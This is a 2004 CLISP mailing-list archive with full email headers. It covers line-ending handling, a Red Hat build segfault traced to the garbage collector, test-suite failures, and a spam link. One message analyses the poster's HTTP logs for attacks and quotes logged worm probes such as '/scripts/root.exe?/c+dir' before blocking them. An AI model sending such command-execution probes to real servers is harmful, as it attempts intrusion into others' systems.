charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 19 09:49:04 2004 X-Original-Date: Fri, 19 Mar 2004 18:48:26 +0100 warning: Off-topic (OT), no reference to Lisp below. Bruno Haible wrote: >some innocent looking code that is broken by such a change: >(let ((s (make-string-input-stream "xy >z"))) (progn (read s) (read-char s))) >would return #\z on Unix and #\LF in Don Cohen's "Windows=20 >faithful" mode. >There are lots of examples like this. This reminds me how for over 10 years, gcc's cpp was unable on UNIX to = handle continuation lines (backslash at end of line) emanating from = MS-DOS systems. I.e. on UNIX, you had *often* no problems compiling a file using DOS = CRLF. But when the source code contained #define frob(x) /* now it's getting long */ 1+ \ (3 * (x) + FRODO) cpp would halt with an error. You had to modify the source code to = remove the CR after the backslash \ (or just convert the whole file to = UNIX conventions). I *really* think that it's great when CR/LF both disappear from my eyes = and I can concentrate on the line's actual content. perl and php get = this just plain wrong. CL's read-line gets it right. I can cite abundant examples where varying CR/LF caused software to = fail or behave strangely. The most recent experience (just today), about having or not having = CR/LF at the end of the last line of a file (so it's actually a = different topic), was using sed on Solaris, which caused the last line = to be completely dropped. :-( Regards, J=C3=B6rg H=C3=B6hle. From pkrzinski@core-sdi.com Fri Mar 19 20:26:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4Y4B-0003xG-8P for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 20:26:35 -0800 Received: from externalmx-1.sourceforge.net ([198.186.202.148]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B4Y47-0007hN-Nk for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 20:26:31 -0800 Received: from [200.92.197.162] (helo=tut.by) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1B4fej-0006D9-VQ for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 04:32:50 -0800 From: www.amercenterpub.info| To: Clisp-list References: <1J58B1D9DD2A1H73@lists.sourceforge.net> In-Reply-To: <1J58B1D9DD2A1H73@lists.sourceforge.net> Message-ID: MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Spam-Score: 2.8 (++) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: http://www.amercenterpub.info [...] Content analysis details: (2.8 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 2.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] http://www.amercenterpub.info Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 19 20:27:03 2004 X-Original-Date: Sat, 20 Mar 2004 04:15:51 +0000 http://www.amercenterpub.info From don-sourceforgexx@isis.cs3-inc.com Sat Mar 20 21:37:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4veN-0007Ww-T4 for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 21:37:31 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B4veM-00064P-Id for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 21:37:30 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2L5V6F19051 for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 21:31:06 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16477.10393.963394.268308@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] read-char in http log Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 20 21:38:02 2004 X-Original-Date: Sat, 20 Mar 2004 21:31:05 -0800 > BTW, since you're reading httpd server log files, why is CR and/or > LF a problem at all?? If you stick to CLISP's automatic conversion > (which is perfect for text procesing), your code will run equally > on httpd well on MS-Windows and UNIX machines. What am I missing? Since you ask, and I think you're going in the wrong direction, I'll describe the context. I've described earlier how my server reads bytes, converts them to chars with code-char then manipulates them as chars. My log files are written as characters with (print ...) So I have no trouble just doing (read ) from the beginning to the end. I wrote a quick and dirty program to read all the log entries, collect the requests, group them by IP address, sort the groups by size and show the first request for each ip address. The result looks something like this: ;; number of requests, ip address then earliest log entry ((153 "24.126.116.41" (:HTTP "3/19/2004 20:40:00" "24.126.116.41" :GET "/scripts/root.exe?/c+dir")) (16 "24.126.20.50" (:HTTP "3/19/2004 23:19:17" "24.126.20.50" :GET "/scripts/root.exe?/c+dir")) (13 "24.126.165.92" (:HTTP "3/20/2004 00:06:10" "24.126.165.92" :GET "http://www.outwar.com/page.php?x=888132")) ... The object is to identify the addresses sending the most attacks (all of above in this case are attacks) and stop listening to them, as in iptables -A INPUT -s 24.126.116.41 -j DROP A few days later when I had seen a bunch of new attacks I wanted to do the same computation but starting from the middle of the log so I didn't have to look at the old data. My quick and (as it turns out, much too) dirty approximation was to accept as input a file position and start reading at that position. If it were a position where a log entry started everything would be fine. I figured (this was the real mistake) I would start at any old input position, do a read-line, and hope that the next line started at the begining of a log entry. Well, it didn't. The input was a url that contained a newline, so I was trying to read some stuff out of the middle of the url. What confused me was the fact that READ complained about an illegal character. It never occurred to me that any characters were illegal to read. I figured that all characters not otherwise specified would act like #\A. So I mistakenly thought that this was a problem related to character conversion, just cause that's the problem that has always bitten me in the past. From gms@sdf.lonestar.org Sat Mar 20 23:01:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4wxc-0007Ze-8Q for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 23:01:28 -0800 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B4wxb-0006FY-Sg for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 23:01:27 -0800 Received: from sdf.lonestar.org (IDENT:gms@ukato.freeshell.org [192.94.73.7]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i2L71Q1X011107 for ; Sun, 21 Mar 2004 07:01:26 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i2L71QtE005519; Sun, 21 Mar 2004 07:01:26 GMT Message-Id: <200403210701.i2L71QtE005519@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net Reply-to: gene@acm.org X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 20 23:02:03 2004 X-Original-Date: Sun, 21 Mar 2004 07:01:26 GMT Hi all, I'm having trouble building clisp 2.33 on Red Hat Professional Workstation (version 3, methinks). Would this be the appropriate place to discuss that? Thanks for your time. gene -- Gene Michael Stover (gene@acm.org) http://lisp-p.org/ From sds@gnu.org Sat Mar 20 23:28:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4xO9-00064M-QI for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 23:28:53 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B4xO6-0006k6-6l for clisp-list@lists.sourceforge.net; Sat, 20 Mar 2004 23:28:50 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B4xO5-0005Gs-00; Sun, 21 Mar 2004 02:28:49 -0500 To: clisp-list@lists.sourceforge.net, gene@acm.org Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403210701.i2L71QtE005519@sdf.lonestar.org> (Gene Michael Stover's message of "Sun, 21 Mar 2004 07:01:26 GMT") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 20 23:29:06 2004 X-Original-Date: Sun, 21 Mar 2004 02:28:46 -0500 > * Gene Michael Stover [2004-03-21 07:01:26 +0000]: > > I'm having trouble building clisp 2.33 on Red Hat > Professional Workstation (version 3, methinks). > Would this be the appropriate place to discuss that? yes. please follow the instructions in . -- Sam Steingold (http://www.podval.org/~sds) running w2k Trespassers will be shot. Survivors will be SHOT AGAIN! From pascal@informatimago.com Sun Mar 21 04:58:50 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B52XR-00008E-VE for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 04:58:49 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B52XN-0003pv-2c for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 04:58:45 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2EE4D586E2; Sun, 21 Mar 2004 13:58:38 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C56033F81F; Sun, 21 Mar 2004 14:00:15 +0100 (CET) Message-ID: <16477.37343.721088.181708@thalassa.informatimago.com> Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] installation troubles on RH In-Reply-To: <200403210701.i2L71QtE005519@sdf.lonestar.org> References: <200403210701.i2L71QtE005519@sdf.lonestar.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 21 04:59:04 2004 X-Original-Date: Sun, 21 Mar 2004 14:00:15 +0100 Gene Michael Stover writes: > Hi all, > > I'm having trouble building clisp 2.33 on Red Hat > Professional Workstation (version 3, methinks). Would this > be the appropriate place to discuss that? With version 2.33, I get these errors: Test failed: -rw------- 1 pascal local 2574 2004-03-21 08:03 clos.erg To see which tests failed, type cat /local/src/clisp-2.33/src/suite/*.erg make[1]: *** [compare] Error 1 make[1]: Leaving directory `/local/src/clisp-2.33/src/suite' make: *** [testsuite] Error 2 *** - $ cat src/suite/*.erg Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS1 :FOO ',(FOO OBJ))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ))) (DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100) (MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR #'FOO *T-LIST*)) CORRECT: (100 200) CLISP : ERROR LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist Form: (PROGN (DEFCLASS POS NIL ((X :INITARG :X :READER POS-X) (Y :INITARG :Y :READER POS-Y) (R :ACCESSOR POS-R))) (DEFMETHOD SHARED-INITIALIZE :AFTER ((SELF POS) IGNORE1 &REST IGNORE2) (DECLARE (IGNORE IGNORE1 IGNORE2)) (UNLESS (SLOT-BOUNDP SELF 'R) (SETF (POS-R SELF) (SQRT (+ (* (POS-X SELF) (POS-X SELF)) (* (POS-Y SELF) (POS-Y SELF))))))) (DEFMETHOD MAKE-LOAD-FORM ((SELF POS) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF SELF)) :X ',(POS-X SELF) :Y ',(POS-Y SELF))) (SETQ *FOO* (MAKE-INSTANCE 'POS :X 3.0 :Y 4.0)) (MLF-TESTER '*FOO*) (LIST (POS-X *FOO*) (POS-Y *FOO*) (POS-R *FOO*))) CORRECT: (3.0 4.0 5.0) CLISP : ERROR LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist Form: (PROGN (DEFCLASS TREE-WITH-PARENT NIL ((PARENT :ACCESSOR TREE-PARENT) (CHILDREN :INITARG :CHILDREN))) (DEFMETHOD MAKE-LOAD-FORM ((X TREE-WITH-PARENT) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) (VALUES `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF X))) `(SETF (TREE-PARENT ',X) ',(SLOT-VALUE X 'PARENT) (SLOT-VALUE ',X 'CHILDREN) ',(SLOT-VALUE X 'CHILDREN)))) (SETQ *FOO* (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN (LIST (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL) (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL)))) (SETF (TREE-PARENT *FOO*) *FOO*) (DOLIST (CH (SLOT-VALUE *FOO* 'CHILDREN)) (SETF (TREE-PARENT CH) *FOO*)) (MLF-TESTER '*FOO*) (LIST (EQ *FOO* (TREE-PARENT *FOO*)) (EVERY (LAMBDA (X) (EQ X *FOO*)) (MAPCAR #'TREE-PARENT (SLOT-VALUE *FOO* 'CHILDREN))) (EVERY #'NULL (MAPCAR (LAMBDA (X) (SLOT-VALUE X 'CHILDREN)) (SLOT-VALUE *FOO* 'CHILDREN))))) CORRECT: (T T T) CLISP : ERROR LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist It seems the testsuite does not isolate itself from the user's configuration... It should use it's own init file or none at all. I'd suggest to add -norc in src/suite/Makefile: tests : force $(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests))' complete : force $(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests nil))' compare : force (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) echo "Test passed." %.erg: %.tst $(BD)/lispinit.mem $(BD)/lisp$(LEXE) $(LISP) -norc -i tests.lisp -x '(run-test "$<")' -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From gms@sdf.lonestar.org Sun Mar 21 09:02:44 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B56LT-0006Ts-NW for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 09:02:44 -0800 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B56L1-0006Sl-1J for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 09:02:15 -0800 Received: from sdf.lonestar.org (IDENT:gms@mx.freeshell.org [192.94.73.21]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i2LGx3sI021475 for ; Sun, 21 Mar 2004 16:59:04 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i2LGx3gu020457; Sun, 21 Mar 2004 16:59:03 GMT Message-Id: <200403211659.i2LGx3gu020457@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 21 Mar 2004 02:28:46 -0500) Reply-to: gene@acm.org References: <200403210701.i2L71QtE005519@sdf.lonestar.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 21 09:03:04 2004 X-Original-Date: Sun, 21 Mar 2004 16:59:03 GMT Here's the bug report for what I found. I hope I followed the instruction correctly. I apologize for the lenght, but I think I isolated the line where the sigsegv happens. I'd like to help fix it. If there is anything I can do, let me know. 1. SYSTEM INFO sh-2.05b$ uname -a Linux plague 2.4.21-9.0.1.EL #1 Mon Feb 9 22:44:14 EST 2004 i686 i686 i386 GNU/Linux sh-2.05b$ gcc --version gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-24) Copyright (C) 2002 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. libc-2.3.2.so 2. THE SOURCES I USED obtained sources as the file clisp-2.33.tar.bz2 from clisp on Source Forget. I think the mirror I used was ibiblio (a.k.a Chapel Hill, NC). date was 20 March 2004 GMT 3. HOW I BUILT IT I originally built clisp with no special options: I just did "./configure" & then followed the instructions it printed. The rest of this info is with "./configure --with-debug --build build-g". When I build it that way, the final stuff it prints during the build is: ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" STACK depth: 23979 SP depth: 67110906 WARNING: *FOREIGN-ENCODING*: reset to ASCII WARNING: *FOREIGN-ENCODING*: reset to ASCII i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Segmentation fault Compilation exited abnormally with code 2 at Sun Mar 21 16:16:05 The entire output from the build it as . I don't see a backtrace. Also, I have more details in my own words below. 4. PRE-BUILT BINARIES? I found this but with 2.33, & I couldn't find pre-built binaries for 2.33, but I tried the RPM for 2.32. It installed, & I can run clisp & get a command line, but the first time it runs the garbage collector, it gets the same SIGSEGV. Check it out: sh-2.05b$ clisp --version GNU CLISP 2.32 (2003-12-29) (built on heretic.physik.fu-berlin.de [160.45.32.86]) Software: GNU C 3.2.2 20030222 (Red Hat Linux 3.2.2-5) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686(I686)plague [127.0.0.1] sh-2.05b$ clisp ;; clisp banner clipped to save space ;; Loading file /home/gene/.clisprc ... ;; Loaded file /home/gene/.clisprc [1]> (defun moo (count) (dotimes (i count) ;; generate some garbage (loop for i from 1 to count collect i)) count) MOO [2]> (time (moo 5)) ; no GC, & it'll work fine Real time: 3.03E-4 sec. Run time: 0.0 sec. Space: 200 Bytes 5 [3]> (time (moo 10000)) ; will need to GC, will SIGSEGV Segmentation fault sh-2.05b$ I guess this shows that the problem isn't new to 2.33 & that it's not in the build process; it's some incompatibility between the binaries & the OS or some libraries. Also, I think I've located the problem in the spvw_garcol.d file. Details below. 5. CLISP --VERSION Not applicable because clisp doesn't finish building. 6. OUTPUT The final messages during the build are under step #3. Also see some details below. PROBLEM'S LOCATION For the notes in this section, I ran "./configure --with-debug". After the ./makemake stuff & make config.lisp, I added "-DDEBUG_GC_MARK=1" to the CFLAGS in the Makefile. Then "make" in the ./src directry. Here are the last few things it prints during that build: gc_mark_stack: 0xb71cf2a0/3072127648 (1745319379) gc_mark obj = 0x680775d3 down: vorg = 0x0, dies = 0x680775d3 up: vorg = 0x0, dies = 0x680775d3 gc_mark_stack: 0xb71cf29c/3072127644 (3758096392) gc_mark_stack: 0xb71cf298/3072127640 (3072127492) gc_mark_stack: 0xb71cf290/3072127632 (1) gc_mark obj = 0x1 down: vorg = 0x0, dies = 0x1 make: *** [interpreted.mem] Segmentation fault Compilation exited abnormally with code 2 at Sun Mar 21 16:35:01 The entire log for this build is at . By inserting my own debug statements, I think I've tracked the actual page fault to line 314 in spvw_garcol.d. Here's the relevant chunk of code: #else switch (as_oint(dies) & nonimmediate_bias_mask) { case cons_bias: /* cons */ /* NB: (immediate_bias & nonimmediate_bias_mask) == cons_bias. */ if (immediate_object_p(dies)) goto up; down_pair(); case varobject_bias: I guess it would make sense to see a sigsegv here if 'dies' held a crap memory address, which appears to be the case from the earlier trace info ("down: vorg = 0x0, dies = 0x1", which is above). I'd like to help fix this, but I don't know where to go from here. Is it a configuration problem (some C preprocessor symbol defined incorrectly), an algorithm problem in the GC, or something else? If I can help, let me know. gene From sds@gnu.org Sun Mar 21 09:46:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B571V-0002kX-Hv for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 09:46:09 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B571P-0004vP-9X for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 09:46:03 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B5718-0003y8-00; Sun, 21 Mar 2004 12:45:46 -0500 To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16477.37343.721088.181708@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 21 Mar 2004 14:00:15 +0100") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <16477.37343.721088.181708@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 21 09:47:01 2004 X-Original-Date: Sun, 21 Mar 2004 12:45:43 -0500 > * Pascal J.Bourguignon [2004-03-21 14:00:15 +0100]: > > With version 2.33, I get these errors: > > > Test failed: > -rw------- 1 pascal local 2574 2004-03-21 08:03 clos.erg > To see which tests failed, type > cat /local/src/clisp-2.33/src/suite/*.erg > make[1]: *** [compare] Error 1 > make[1]: Leaving directory `/local/src/clisp-2.33/src/suite' > make: *** [testsuite] Error 2 > > *** - > > $ cat src/suite/*.erg > > Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS1 